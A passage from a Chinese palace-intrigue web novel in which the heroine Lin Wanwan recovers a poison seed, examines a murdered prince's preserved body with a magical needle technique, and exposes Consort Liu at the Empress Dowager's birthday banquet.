叩击声持续了约莫十息,当最后一个节奏落下时,一阵来自地底深处的机扩转动声,从老梅树的根部传来。
紧接着,原本看似毫无异常的地面,向内凹陷、滑开,露出一个黑黢黢的洞口。
黑衣人没有任何犹豫,身影一闪,如同灵猫般钻了进去,瞬间消失不见。
林绾绾在一旁一直蛰伏等待,不敢轻举妄动,只能竖起耳朵,捕捉着洞口方向的任何细微声响。
时间一分一秒过去,洞口依旧一片死寂。
就在林绾绾的神经紧绷到极限,几乎要怀疑是否出了什么意外时——
一只戴着黑色手套的手,从洞口探出!
紧接着,黑衣人的身影无声地钻了出来。
他动作极快,反手在洞口边缘处用力一按,机扩声再次响起,石板复位,将洞口重新封死。
黑衣人的手中,此刻已经多了一个用油纸厚厚包裹、约莫拳头大小的东西。
邪异的甜腥异香,从油纸包中丝丝缕缕地散发出来。
成了!种子到手了!
巨大的狂喜冲上林绾绾的头顶,她几乎要按捺不住地冲出去!
然而,就在黑衣人将油纸包收入怀中,准备折返的时候——
异变陡生!
“桀桀桀...果然在这里,他没有骗我!圣女血脉的气息...还有那个东西的味道...”
一个嘶哑难听的声音,毫无征兆地从听雨轩废墟最高的一处断墙残垣顶端响起。
林绾绾循着声音抬头望去。
断墙之上,不知何时悄然立着一个兜帽低垂的身影。
看不清面容,惟有两道幽绿色如同鬼火般的目光,穿透黑暗,死死锁定了黑衣人,以及他怀中的油纸包。
“留下种子!”
嘶哑的声音带着命令和贪婪,话音刚落,宽大的袖袍便猛地一挥!
“咻!咻!咻!”
三道细如牛毛的毒针,如同索命的毒蛇,撕裂寒风,直取黑衣人的眉心、咽喉和心口要害!
角度刁钻毒辣,封死了所有闪避空间!
第48章 真实目的
黑衣人的反应快到了极致!
在黑影开口的瞬间,他如同未卜先知般猛地一个铁板桥,身体后仰几乎贴地!
三根毒针贴着他的面门和胸口呼啸而过,“笃笃笃”地钉入他身后的梅树树干,针尾兀自颤动,发出细微的嗡鸣。
“找死!”黑衣人的声音第一次带上杀意!
他探身而起,反手拔出腰间的乌金软剑,身影如同离弦之箭,不退反进,直扑向断墙上的黑影。
软剑在月光下划出一道冰冷的弧线,直取对方的咽喉!
“哼!不自量力!”
黑影发出一声不屑的冷哼,宽大的黑袍如同蝙蝠翅膀般展开,身形诡异一扭,竟如同没有骨头般避开了这致命的一击!
同时,他枯瘦如鸟爪的手从袍袖中探出,指尖竟萦绕着肉眼可见的黑色雾气,带着刺鼻的腥臭,闪电般抓向黑衣人持剑的手腕!
那黑雾仿佛有生命般,发出细微的嘶嘶声。
是蛊毒!
林绾绾心下骇然!宫内怎么会有巫医族的人?巫医族不是被当今圣上灭族了吗?
黑衣人见状,也是瞳孔微缩,手腕猛地一翻,手中的剑变刺为削,避开那毒爪。
剑锋与黑雾擦过,发出“嗤嗤”的腐蚀声响!
两人瞬间缠斗在一起!
在残墙断垣间兔起鹘落,剑光爪影,黑雾弥漫!
每一次碰撞都凶险万分,稍有不慎便是死无葬身之地。
林绾绾看得心惊肉跳,手心全是冷汗。
她知道自己帮不上忙,强行介入只会添乱。
此刻最重要的是黑衣人怀中的种子!
她的目光一直死死锁定在黑衣人身上。
就在黑衣人一个灵巧地侧翻,避开黑影一记阴毒爪击的瞬间,他怀中的油纸包因为剧烈的动作,竟被震得滑落出来,朝着下方布满积雪和枯枝的废墟地面坠去!
机会来了!
林绾绾再也顾不得隐藏,猛地从藏身的地方窜出,用尽全身力气,朝着下坠的油纸包扑去。
她的动作不可谓不快!
那黑影似是一直在关注周围的动静,就在林绾绾扑出的瞬间,他发出一声更加怨毒的嘶喊:“想动我要的东西?休想!就算是圣女也不行!”
随后,他竟不顾黑衣人紧随而至的致命剑锋,甩动袍袖!
“嗡--!”
一股浓郁的化不开、带着刺耳嗡鸣声的腥臭黑雾,如同喷发的墨汁,朝着林绾绾方向兜头罩下!
范围极广,速度极快!
林绾绾瞳孔骤缩!
这蛊毒黑雾沾之即死!
她现在要么放弃种子后退,要么...直接冲进去!
千钧一发之际!
“退!”黑衣人冰冷的声音如同惊雷炸响!
他放弃了追击黑影的最佳时机,身影瞬移到林绾绾的侧前方,同时,他反手从腰间摸出一个乌黑的圆筒,对准那片汹涌而来的蛊毒雾。
“嗤--!”
赤白色的火焰狂龙喷涌而出,带着焚尽一切的硫磺气息,狠狠撞上了那片腥臭的黑雾。
“噼啪!嘶嘶——!”
火焰与毒雾剧烈碰撞,燃烧!
无数细小蛊虫被烧焦后身体爆裂,腥臭慢慢被焦糊取代。
火光冲天,瞬间照亮了这片废墟。
林绾绾借着火光屏障的掩护,眼中爆发出决绝的光芒!
她非但没有后退,反而将自身速度提升到极致,不顾一切地冲进了火焰与毒雾尚未完全吞噬的边缘地带。
在油纸包即将落入下方尖锐碎石的前一刻,她的指尖终于触碰到了那冰冷的油纸。
抓住了!
巨大的狂喜席卷了林绾绾的全身。
她攥紧油纸包,借着前冲的惯性,就地一个翻滚,避开了火焰和毒雾的核心区域,滚到了另一处断墙的阴影下。
后背的粗布棉袄被火焰燎到,发出焦糊味,但她浑然不顾。
“走!”黑衣人见状,声音带着一丝急促。
再次闪身来到林绾绾身边,抓住林绾绾的胳膊,将她猛地提起。
两人毫不犹豫地朝着与黑影相反的方向,亡命狂奔。
身后,传来那道黑影被火焰灼伤后发出的充满痛苦和滔天怨毒的凄厉嘶吼,以及气急败坏的咆哮:“追!别让他们跑了!夺回种子!还有,抓住那个圣女血脉!”
数道同样散发着阴寒气息的黑影,从废墟其他角落浮现,朝着两人逃遁的方向疾追而来!
寒风在耳边如同死神的喘息,冰冷的杀机紧贴后背。
林绾绾握紧怀中那颗滚烫的种子,心脏狂跳得几乎要炸开。
“这边!”
黑衣人拽着林绾绾偏离了原本直线逃亡的方向,一个急转,冲进了旁边一片挂满冰棱的枯败紫藤花架下。
密集交错的枯藤和垂挂的冰冷瞬间遮蔽了视线,也短暂地阻挡了身后追兵的追击。
借着瞬间的喘息,黑衣人将林绾绾推在一根粗大的、覆盖着厚冰的花架石柱后,而他自己则背靠着冰冷的石柱前,胸膛微微起伏。
乌金面具下的目光锐利如鹰,扫视着外面影影绰绰追来的黑影。
“东西给我!”他伸出手,声音急促却冰冷依旧。
林绾绾没有任何犹豫,立刻将怀中的东西塞到黑衣人手中。
黑衣人迅速将油纸包贴身藏好,动作利落。
他冰冷的目光扫过林绾绾,声音压得极低,带着一种洞悉一切的漠然:
“你可知,阁主为何执意要你亲自来取此物?”
林绾绾喘息未定,闻言抬头,眼中带着惊愕和不解。
是啊,以血鸦阁的手段,黑衣人一个人足以悄无声息地取走种子,何必让她这个目标巨大的逃犯来涉险?
这几乎是让她来送死!
黑衣人声音如同冰锥,刺破了林绾绾心中的困惑:
“其一,是‘势’!阁主手中早已掌握部分指向贵妃的线索。但这些,是‘暗’线,是影子,可以说是捕风捉影。”
“而你所知的,天牢里林月瑶的遗言,乃至御花园的这颗种子...这些,是‘明’线,是铁证!是你林绾绾,是你这个‘荧惑妖星’,林家孤女,九死一生从天牢里逃出后,亲手掘出的‘明证’!”
黑衣人的目光,如同冰冷的探针,刺入林绾绾的眼底。
“只有你亲手带着它从龙潭虎穴里杀出来,这份证物才不再是冰冷冷的死物!它里面掺有你的血,你的恨,你的冤屈...“
“当你在合适的机会拿出它,这份‘势’,才能化作最炽烈的业火!让所有人不得不信,不得不听!”
“其二...”黑衣人的声音顿了顿,语气带上难以言喻的意味。
“...是你自己。”
第49章 寒魄诡计
林绾绾一愣,“你说我?”
“阁主说过,你心口的火,被太多东西压住了。血仇,冤屈,恐惧...还有你自己给自己套上的枷锁。”
黑衣人的声音依旧冰冷,却多了一丝穿透力。
“阁主让你来,不是送死。是要你在绝境里,亲手抓住那一线生机!要你在生死边缘,看清自己骨子里那股可以焚尽一切的狠劲!把你骨子里的火真正点燃。”
黑衣人盯着林绾绾微微颤抖的手:“刚才,你扑向火里种子的时候,你怕吗?”
林绾绾微怔,随后轻轻点了点头。
“但你还是扑上去了。”黑衣人的声音斩钉截铁。
“为了翻盘,为了报仇,为了...活着...”
“这就是阁主想看到的。”
“他要的,不是一个只会躲在角落里瑟瑟发抖,等待别人施舍生机的医女。他要的,是一个能和他一起...在炼狱里杀出一条血路的盟友!”
盟友?!
这个词如同重锤,狠狠砸在林绾绾的心尖!
将她心中那点残存的、对萧景珩动机的猜疑和疏离,砸得粉碎。
一种豁然开朗的情绪,彻底冲垮了她所有的恐惧和疲惫。
就在这时!
“在那边!”
“围住他们!”
追兵的呼喊声和破空声已然逼近紫藤花架!
“没时间了!”黑衣人眼中寒光一闪,抓住林绾绾的胳膊,“跟我冲,去石洞!”
这一次,林绾绾眼中再无丝毫的犹豫,只剩下被彻底点燃的破釜沉舟的决绝!
她反手用力攥住黑衣人的手臂,“走!”
两人冲出紫藤花架的掩护,不再有任何闪躲和迟疑,朝着石洞方向,发动了最后的冲刺。
带着一往无前的气势,速度比之前更快。
身后的追兵显然没料到他们敢如此亡命直冲,稍一愣神,距离瞬间被拉开。
黑衣人对御花园的地形熟悉到了极致,带着林绾绾在嶙峋的假山怪石间几个灵巧的转折,便甩开了追兵的视线。
当最后一道追踪而来的阴寒气息被厚重的假山石壁隔绝在身后时,黑衣人按动一块不起眼的凸起岩石。
一道狭窄石缝在二人身后滑开,二人马上闪身进入。
石缝迅速闭合,将外面的一切喧嚣和杀机彻底隔绝。
石洞内,篝火的光芒跳跃着,映照着林绾绾苍白却焕发出惊人神采的脸庞。
萧景珩靠坐在篝火旁,缓缓睁开眼。
看着林绾绾眼中那彻底被点燃,再无阴霾的火焰,他苍白的唇角,勾起一抹足以融化寒冰的弧度,深邃的黑眸中跳跃着点点灼人的光芒。
“阁主,林姑娘跟您要的东西都已安全带回。”
黑衣人躬身行礼,将东西双手奉到萧景珩跟前。
萧景珩接过东西,微微颔首。
黑衣人接到无声的指令后,身影迅速融入到黑暗甬道中。
片刻后,他推着一辆覆盖着厚重黑色油布,下方隐约可见冰块轮廓的推车重新返回,一股混合着药味和极淡尸腐气的冰冷气息慢慢扩散开。
萧景珩目光灼灼的看着林绾绾,声音低沉平稳:“打开看看吧。”
林绾绾定了定神,掀开厚重的油布。
寒气四溢!
推车之上是一整块巨大、晶莹剔透的千年玄冰。
玄冰内部,中空雕琢,如同最完美的冰棺,里面清晰地封存着一具小小的、穿着皇子服饰的孩童尸身!
是九皇子,萧景瑞!
更令人惊骇的是,这具尸身保存得极其完好!
除了皮肤呈现出毫无生机的青白,竟无丝毫被烈火焚烧的痕迹!
唯有口鼻处残留着些许烟熏的淡灰色,显示他曾身处浓烟环境。
这绝非停尸房大火后该有的模样!
唯一的解释就是——
在烈火真正吞噬尸身之前,他就被以极快的速度和匪夷所思的手段转移了出来!
血鸦阁的实力…或者说,萧景珩的手段…竟恐怖如斯!
林绾绾倒吸了一口冷气,目光死死锁定玄冰中小皇子的尸身上。
这是命运赐予她揭开真相的又一次机会!
她转向萧景珩,二人眼中已有了不用言语的默契。
“给我一点时间!”她声音急促而坚定。
萧景珩微微点头,目光转向黑衣人:“寒鸦,护法!”
被唤作寒鸦的黑衣人如同最忠诚的石像,手握乌金长剑,无声地退到洞口阴影处,警惕地扫视着外面的黑暗。
时间紧迫!林绾绾不再犹豫。
她打开九转玲珑针,冰冷的针尖让她沸腾的血液冷静下来。
她走到玄冰棺前,隔着冰冷的晶壁,目光一寸寸扫过九皇子幼小的身躯。
皮肤青白无血色,口唇微张,舌尖有轻微咬痕,指甲床呈青紫色…这些都是窒息的典型表征。
但仅凭这些,不足以说明什么。
林绾绾的目光最终定格在九皇子微微凸起的腹部。
“需要开腹吗?”
萧景珩的声音在一旁响起,带着一丝询问。
验尸开膛,在这个朝代是极大的禁忌,尤其对象是皇子。
林绾绾果断摇头,眼中闪烁着自信的光芒:“不必。”
她捻起一根短针,隔着衣服,精准无比地刺向九皇子尸身腹部的神阙穴。
金针微微颤动,针尾散发出柔和而充满生机的光芒!
这光芒并非为了复苏死者,而是林家秘传的“生息探脉”之术。
通过金针与尸身残留生机的微妙共鸣,感知其内部最深处的异常!
林绾绾闭上双眼,全副心神都凝聚在指尖的金针上,感受着那微乎其微的震颤反应。
冰冷…死寂…除此之外,神阙穴深处,有一种异常“活跃”的阴寒波动!
那不是人体组织该有的频率!
林绾绾猛地睁开双眼,眼底精光爆射!
她收回神阙穴的金针,然后毫不犹豫地又捻起一根长针,将针尖精准地悬停在九皇子微张的口腔上方。
“引!”
她低喝一声,指尖灌注内息,金针发出低沉的嗡鸣,针尾金光大声,一股无形的吸力自针尖爆发。
只见九皇子紧闭的口腔内侧,几缕肉眼难以察觉的暗红色“丝线”,被无形的力量牵引,缓缓从喉管深处漂浮而上。
这些“丝线”呈现一种粘稠、半凝固的胶质状态,散发着令人心悸的甜腥异香。
这还不算完!
暗红“丝线”被引出瞬间,九皇子喉管深处,似乎有什么东西被惊动了!
一个米粒大小,通体漆黑,背甲上有血色纹路的甲壳虫状生物,显露出狰狞的一角!
它疯狂扭动着,身体周围萦绕着丝丝缕缕的黑色阴寒气息。
是活着的蛊虫!
蛊虫身上还带有被其吞噬融合、却未能完全消化的血凤凰木药力残留!
铁证如山!
第50章 寿宴之上
林绾绾手腕微微用力,收回九转玲珑针。
那几缕“暗红”丝线和显露一角的蛊虫瞬间失去牵引,重新隐没回九皇子的喉管深处。
林绾绾额角渗出细密的冷汗,刚才的“生息探脉”耗费了她大量心神。
她转过身,面对着萧景珩,声音虽因激动而微微发颤,却字字清晰:
“九皇子殿下,绝非死于单纯的玄冥寒毒!他是被人灌下剧毒之物,并以此物为引,再在体内种下了致命的‘噬心蛊’!蛊虫吞噬了毒物药力,在心脉中疯狂繁殖、噬咬,最终导致殿下心脉崩裂,窒息而亡!”
林绾绾眼中燃烧着冰冷的火焰:
“而这一切的源头,也正是‘噬心蛊’最渴求的药引——血凤凰木!若是用种子为引,效果更甚!”
石洞内一片死寂。唯有篝火燃烧的噼啪声和林绾绾因激动而略显急促的呼吸声。
“很好!”
萧景珩的声音在石洞中回荡,带着一种尘埃落定的肃杀。
“证据…齐了。”
他的目光转向林绾绾,带着一种交付重任的决断。
“明日太后寿宴之上,便是这种子…焚尽妖妃之时!”
******
翌日,慈宁宫。
丝竹管弦,袅袅不绝。
金碧辉煌的殿宇内,暖炉熏香,驱散了深冬的寒意。
太后端坐于凤座之上,满头银发梳得水润光滑。头戴赤金镶东珠的抹额,身着绛紫色绣金凤祥云纹宫装。
面容虽显老态,眼神却依旧锐利,浑身透着久居上位的威仪。
只是那眉宇间,却笼罩着一股挥之不去的阴郁和病气。
皇帝萧胤一身明黄龙袍,坐在太后左下首,面容威严,眼神却有些飘忽,带着一丝阴鸷和心不在焉。
贵妃柳轻眉也盛装出席,坐在皇帝下首。
她穿着正红色绣金凤牡丹的宫装,满头珠翠,妆容精致艳丽,眉眼间带着志得意满的春风。
她端着酒杯,姿态优雅,目光不动声色地扫视着全场。
殿内,宗室亲贵,后宫嫔妃,三品以上命妇济济一堂,觥筹交错,笑语喧哗,一派富贵升平的景象。
然而,在这浮华的表象之下,暗流汹涌。
前几天,天牢逃犯,荧惑妖星的风波尚未平息,紧张的气氛如同无形的蛛网,笼罩着每一个人。
“太后娘娘,”贵妃放下酒杯,声音娇媚如莺啼,带着恰到好处的关切。
“今日是您的大寿,普天同庆。臣妾特意为您寻得一件祥瑞之物,盼能为您凤体安康添福增寿。”
她拍了拍手,一名宫女小心翼翼地将一个覆盖着明黄锦缎的托盘捧了上来。
柳贵妃莲步轻移,亲自上前,缓缓掀开锦缎。
金光乍现!
托盘之上,并非什么花草,而是一尊通体由赤金打造、镶嵌着无数璀璨宝石的九尾凤凰钗!
那凤凰造型华美绝伦,展翅欲飞,九条尾羽不仅纤毫毕现,还各自镶嵌着不同颜色的宝石。
流光溢彩,贵气逼人。
尤其是凤凰口中衔着的那颗龙眼大小的东珠,圆润无暇,散发着柔和的光晕,将整个凤钗衬托得更加如同神物!
“嘶--!”
殿内响起一片压抑的抽气声!
贵妃好大的手笔!
先不说这凤钗价值连城,单那颗东珠,就是举世罕见。
再者说,九尾凤凰!这是只有皇后才有资格佩戴或制作献礼的规格,贵妃此举,逾制之心,昭然若揭!
太后的眉头几不可查地蹙了一下,眼神掠过那华贵到刺目的凤钗,并未见太多喜色,反而是多了些许冷淡。
她淡淡颔首:“贵妃有心了。”
皇帝萧胤看着凤钗,眼中也闪过复杂,但并未出言制止。
柳贵妃享受着众人或艳羡或敬畏的目光,脸上的得意更浓,她微微屈膝,声音带着刻意的婉转:
“臣妾知晓此钗或许逾制,但凤凰乃祥瑞之尊,九尾更是象征福寿绵长。臣妾一片赤诚,只盼太后娘娘凤体康健,福泽万年。还望太后娘娘笑纳...”
“将逾制说成祥瑞和孝心,真是放肆!”
一个带着雷霆之怒的声音,如同惊雷般在死寂的大殿门口炸响!
所有人循声望去。
只见太子萧景珩,在两名内侍的搀扶下,缓慢踏入慈宁宫。
他穿着素白蟒袍,嘴唇毫无血色,甚至看上去比平日更添几分病容。
他时不时掩口发出压抑的轻咳,每一次咳嗽都让他单薄的身体剧烈颤抖,仿佛随时会倒下。
他那双深不见底的黑眸缓缓抬起,如同实质的刀锋扫过全场,最终死死钉在柳贵妃的脸上,一股令人窒息的威压笼罩了整个大殿。
他推开搀扶的内侍,手直指向大殿中央那支金光刺眼的九尾凤钗,声音不高,却响彻每个人耳边:
“柳氏!你好大的胆子!九尾凤凰,乃中宫皇后尊仪!东珠之贵,唯天子、太后可持有!你区区贵妃之身,只是协理后宫,暂代皇后之职,竟敢僭越至此!“
”以祥瑞之名,行僭逆之实!”
“此等大逆不道之物,也敢献于太后寿宴?你是视祖宗礼法为无物,还是…意在染指凤位?”
太子的话,如同在滚油中泼下了冷水,瞬间引爆全场。
所有人都被这毫不留情,直指核心的指控惊呆了!
柳贵妃脸上的得意笑容瞬间僵死,血色“唰”的一下褪得干干净净。
她精心营造的祥瑞光环被这当头痛斥撕得粉碎,羞辱和恐慌如同冰冷的巨手扼住了她的咽喉。
她看向皇帝,眼中充满了委屈和求救。
“陛下!陛下明鉴!臣妾…臣妾绝无此心!太子殿下这是血口喷人!臣妾是一片孝心,天地可鉴啊,陛下!”
柳贵妃带着哭腔,声音委婉动听,试图以情动人。
皇帝萧胤的脸色阴沉得可怕,目光在病弱的儿子和惊慌失措的爱妃之间逡巡。
柳氏的逾制他心知肚明,但太子的当众发难,无异于在打他的脸!
皇帝一拍龙椅扶手,怒喝道:“太子!你病体未愈,胡言乱语什么!贵妃一片孝心,岂容你随意污蔑!还不退下!”
“污蔑?”
萧景珩猛咳几声,气息更加不稳,但黑眸中的锐利却丝毫未减,反而更盛!
他毫不畏惧地迎上皇帝震怒的目光,声音里满是悲愤:
“父皇!儿臣是否污蔑,自有公论!但九弟惨死,尸骨未寒!真凶尚未伏诛,有人却在此刻以祥瑞之名,粉饰太平,其心…当怎只为孝心吗?”
第51章 同仇敌忾
“九弟惨死”,“真凶伏诛”几个字,狠狠砸在太后心坎上,她的目光越发锐利地盯着柳贵妃。
柳贵妃被这眼神看得浑身发毛,巨大的恐惧让她差点失态。
她勉强维持着端庄的体面,跪在皇帝面前,泪流满面:
“陛下!太子他不仅污蔑臣妾,还妄议九皇子之事。他这是居心叵测,诅咒皇室!请陛下即刻下旨,将这诅咒亲弟,污蔑庶母的不孝不悌之徒拿下!”
柳贵妃势要将水彻底搅浑,将太子也拖下水!
皇帝的脸色阴沉不定。
他看着太子摇摇欲坠却异常倔强的身影,听着柳氏的指控,看着太后眼中的审视...
怒火和某种被触及的隐秘让他几乎失去了理智。
他猛地站起身,指着萧景珩:“逆子!你...”
就在这剑拔弩张,皇帝即将出声的关键时刻——
“司药女官林绾绾,奉太子殿下之命,为太后娘娘献礼,并呈九皇子殿下冤情铁证!”
一个清越,冰冷,带着穿透一切喧嚣的坚定女声,如同玉磬清鸣,在大殿门口响起!
所有的喧嚣,指控,怒喝...瞬间戛然而止!
所有人的目光带着极致的惊愕、难以置信,以及某种山雨欲来的预感,齐刷刷地转向了殿门口。
只见林绾绾,穿着一身半旧却干净整洁的青色女官宫装,身姿挺直如傲雪青竹,一步步走入这金碧辉煌但却杀机四伏的权力漩涡中心!
她的脸上没有任何脂粉,一双眼睛亮得惊人。
那里面没有了往日的隐忍、恐惧和迷茫,只剩下一种被烈火淬炼过的坚定!
她手中捧着的,是一个毫不起眼的、用一个再普通不过的青布盖着的托盘。与那光芒四射的九尾凤簪形成了诡异的对比。
“哼!原来你是林绾绾,祸乱宫闱的林家遗孤!”柳贵妃看到林绾绾,如同找到了宣泄怒火的出口,眼中瞬间迸射出毫不掩饰的杀意。
“你一个荧惑妖星,背着‘阿丑’的名号,从天牢私自逃脱,还敢踏入慈宁宫为太后献礼?来人!给本宫拿下这个妖孽!就地正法!”
数名侍卫应声上前,刀剑出鞘,寒光闪闪!
这泰山压顶般的杀机,没有让林绾绾的脚步停顿分毫,她甚至没有看那些逼近的侍卫,目光坚定,声音清晰地回荡在大殿中:
“贵妃娘娘何必心急?奴婢此来,不仅是为贺太后千秋,也是想为您也献上一份大礼!”
“一份足以解开九皇子殿下真正死因,揪出真正戕害皇嗣,祸乱宫闱之真凶的铁证!”
“这份铁证,与娘娘您方才所献的‘旷世奇珍’相比,或许微不足道,却更能…映照人心!”
九皇子死因?!真凶?!
如同惊雷般的话语,在大殿中炸开。
太后的眼神瞬间凌厉如刀,皇帝更是攥紧了龙椅扶手,指节发白!
柳贵妃拢了拢衣袖,方才的嚣张气势收敛一半。
“妖言惑众!给本宫杀!”柳贵妃彻底沉不住气,声音变得尖厉起来。
侍卫的刀锋已经逼近林绾绾的脖颈。
“住手。”
依旧是那个低沉,却带着不容置疑的威压的声音。
萧景珩“艰难”地向前迈了一步,挡在了林绾绾和侍卫之间,眼中蕴含着雷霆风暴,冷冷扫过持刀的侍卫。
那些侍卫的动作瞬间僵在原地。
萧景珩的目光掠过脸色铁青的皇帝,掠过眼神锐利的太后,最终落在了面无人色的柳贵妃脸上。
他指向林绾绾手中的托盘,语气是不容置喙的决断和一丝沉痛的悲悯:
“她手中的东西,是孤让她带来的。这关乎…九弟冤情,关乎皇室血脉清誉,更关乎…这宫闱之中,是否真的藏有一个戕害皇子的魔鬼!父皇,皇祖母,”
萧景珩微微躬身,气息不稳,但却带着一种豁出性命的决绝。
“儿臣斗胆,请允她一呈!孰是孰非,自有公断!若其妖言惑众,儿臣…愿与其同罪!并当场以死…谢罪!”
大殿内瞬间一片死寂,落针可闻!
所有人都被太子的誓言震得魂飞魄散。
皇帝的脸色阴沉得几乎滴出水来。太后的眼神更是充满了难以置信。
林绾绾在萧景珩决绝身影的庇护下,深吸一口气,猛地掀开了托盘上的青布!
一股浓郁的奇异腥甜,瞬间弥漫了整个慈宁殿。
这味道与殿内原本的熏香格格不入,令人闻之欲呕。
托盘之上,静静地躺着一块约莫婴儿拳头大小,形状极其不规则的暗红色木瘤。
木质纹理细密深邃,如同凝固的血脉脉络。
表面覆盖着一层凹凸不平,如同鳞片般的奇异纹路。
整块木瘤呈现出一种深沉的暗红,如同浸透了干涸的血液,在满殿的灯火下,散发着妖异而内敛的幽光!
“这是血凤凰木髓,也就是血凤凰木的种子!”
林绾绾的声音如同最后的审判,响彻大殿。
“贵妃柳氏,以此邪物为引,勾结巫蛊族人,于九皇子体内种下噬心蛊。虽目的不明,但却致使殿下心脉崩裂,惨死宫中!后又纵火焚尸,毁灭证据!此种,便是铁证!”
柳贵妃闻言,冷笑出声:“正如你所言,九皇子尸身已被毁,那你现在所说的就全是你的猜想,是诬陷!”
“谁说九弟尸身被毁了?”萧景珩讥诮出声,双手拍了几下,赵乾推着推车走到殿内。
厚重的油布一掀,露出底下寒冰棺内的九皇子尸身。
“瑞儿!”皇帝跟太后同时站起身,看着棺中的尸身,难掩震惊。
“陛下,太后请看此处!”
林绾绾说完,再次运用“生息探脉”之术,将九皇子喉管内的蛊虫以及血凤凰木的残留引出。
只是这次她拼尽全力,将他们拔出了九皇子体内,昭示于慈宁殿上。
她环视全场,眼中燃烧着复仇的火焰:
“庶妹林月瑶,就是贵妃柳氏安插在九皇子身边的毒蛇!是她,奉柳氏之命,将蛊毒混入了九皇子殿下的药膳之中!”
“奴婢记得!九皇子殿下发病前半月,奴婢曾奉父亲之命给九皇子送新配的安神香囊。彼时,正撞见林月瑶鬼鬼祟祟,神色慌张地从殿下小厨房出来!奴婢当时只觉她行动有异,却未曾深想…直到探出毒物,奴婢才恍然惊觉!定是那日,她在殿下药膳中动了手脚!”
记忆的碎片如同尖刀,狠狠刺入林绾绾的心脏。
那个午后,林月瑶从氤氲着药气的小厨房闪身而出,撞见她时眼中有一闪而过的慌乱,还有袖口沾染的一点点褐色粉末…
这些被她忽略的细节,在昨晚跟萧景珩分析证据时,变得无比清晰!
第52章 剑拔弩张
“陛下!臣女有物证!”
林绾绾将托盘上的襁褓布奉于胸前。
“这是家父临死前所留!上面一笔一划都是父亲用血亲手写就!这清清楚楚的‘蛊’字,就是父亲留下的物证!”
“仅凭你一面之词和这些不明来历的东西,就想诬陷本宫戕害皇嗣?!”
柳贵妃虽眼神慌乱,但细想下又放宽心神:“陛下,这妖女构陷臣妾!她…”
“带上来!”萧景珩对柳氏的表演再也看不下去,开口打断她的话。
一个面如死灰,抖如筛糠的小太监被押了上来。
“这…不是刘福公公的义子小刘公公吗?”有人认出来,失声惊呼。
刘福是九皇子生前殿内的掌事太监。
九皇子出事不久后,他便不知所踪,连带着他的义子小刘公公也消失不见。
柳贵妃看清来人当下,鲜红的蔻甲狠狠地扣进掌心。
小刘公公被押到殿中央,扑通一声跪倒在地。
他浑身瘫软如泥,连头都不敢抬。
萧景珩剧烈地咳嗽了几声,微微喘息道:
“父皇…皇祖母…此人乃九弟生前掌事太监刘福的义子。九弟‘病逝’后,他们二人便藏身于冷宫,不为外界所查。前些日子,刘福在冷宫被人杀害,他的义子才慢慢出现。”
林绾绾心下大惊,原来当日冷宫内的老太监,竟然是九皇子殿内的掌事公公,难怪他知道那么多事情!
萧景珩冰冷的冰光扫过地上的人,冷冷开口道:
“刘公公,当着陛下和太后的面,将你当初所见,柳氏是怎么指示林月瑶,林月瑶又是如何在九皇子膳食中下毒的…一五一十,从实招来!若有半句虚言…孤让你求生不得,求死不能!”
小刘公公早就被吓得魂飞魄散,哪里还敢隐瞒,如同竹筒倒豆子般哭嚎着招供:
“太子殿下饶命啊!奴才…招!奴才全招!”
“是贵…是贵妃娘娘指使的!她给了林月瑶一包褐色药粉,说是能缓解九殿下寒症的‘补药’,让林姑娘每次在殿下服用的药膳快熬好的时候,就撒进去一点。”
“奴才…奴才当时是鬼迷心窍,收了贵妃娘娘的好处后,就瞒了干爹,睁一只眼闭一只眼的同意了。”
“奴才该死啊!奴才罪该万死!奴才真的万万没想到,那是害死殿下的毒药啊!”
“我干爹也是被贵妃派出的杀手杀害的!奴才好害怕,好后悔啊!”
小刘公公的哭嚎和招供,坐实了林绾绾的指控!
“九皇子之冤,只是贵妃柳氏累累血债的冰山一角!”
林绾绾的声音如同来自地狱的寒风,带着刻骨的仇恨:“诸位再看此物!”
托盘内,几粒在灯火下折射出光芒的晶粒刺目无比!
“这是奴婢在端妃娘娘冷宫居所附近,跟她指甲内取到的残毒。”
“此毒名为‘朱颜改’,亦是用血凤凰木为引所制奇毒!而且,这正是端妃娘娘当年毁容失宠的根源!”
“此毒诡谲,初时只如蚊虫叮咬,继而红肿溃烂,状若恶疮,最终会使皮肉剥离,药石罔效!”
“且此毒,长期沾染方能生效,绝非一朝一夕之功!”
殿内响起一片压抑的抽气声!
许多命妇想起端妃当年惨状,不由得掩口变色。
在座谁不知,当年端妃冠绝后宫,一夕之间容貌尽毁,打入冷宫。
而当时跟端妃走得最近的,关系亲如姐妹的正是柳贵妃!
“仅凭几粒残晶,就想定本宫的罪?”柳氏冷笑:“端妃那贱人自己不知染了什么脏病,与本宫何干?”
“正如贵妃娘娘所言,仅凭残晶当然不够!”
林绾绾声音陡然拔高,她目光如炬,死死锁住柳贵妃。
“敢问贵妃娘娘!您献给太后的这支九尾凤簪,金凤尾部第三片翎羽的镶嵌凹槽内,是否有一处极其细微、需要银针方能触发的…暗格!”
柳氏精心描绘的眉眼掠过惊惶。
她强自镇定,尖厉的声音带着刻意的委屈和愤怒。
“大胆贱婢!竟敢污蔑本宫!此簪乃本宫献给太后寿礼,怎么做手脚?你这妖女竟意图离间本宫与太后的感情!”
“离间?”林绾绾的声音清脆,瞬间压过柳贵妃的尖叫。
她毫不畏惧地迎上皇帝萧胤审视的目光,以及太后眼中翻涌的惊疑,挺直了那被仇恨和真相压得几乎折断的脊梁。
“奴婢人微言轻,岂敢离间天家至亲?奴婢只是要将这深宫之中,被华丽金簪掩盖的污秽与血腥一一剖开,呈于天日之下!”
“你…你这是血口喷人!”柳氏脸上的血色褪尽,身体晃了几下。
“是否血口喷人,一验便知!之前陷害端妃娘娘的手段如此高明,贵妃娘娘显然也是十分相信自己的手段!”
林绾绾寸步不让,目光转向皇帝和太后,朗声道:“陛下,太后!奴婢恳请,当众查验此簪!”
“准!”
太后冰冷的声音已从最初的震怒转为更深沉的狂怒!
皇帝也没有反对,算是默许。
一名经验老道的司珍房太监被宣上殿,战战兢兢接过凤簪和一根细如牛毛的银针。
在无数道目光的注视下,太监屏息凝神,小心翼翼将银针探入金凤尾部第三片翎羽根部,一个几乎肉眼难辨的微小缝隙。
“咔哒…”
一声极其轻微、却清晰可闻的机簧弹动声响!
只见那片看似浑然一体的金凤翎羽根部,竟弹开了一个米粒大小的暗格!
暗格内壁光滑,残留着些许带着七彩光泽的粉末状物质!
太监用银针小心挑起一点,置于备好的白瓷碟中,与林绾绾托盘上那几粒“朱颜改”残晶并置。
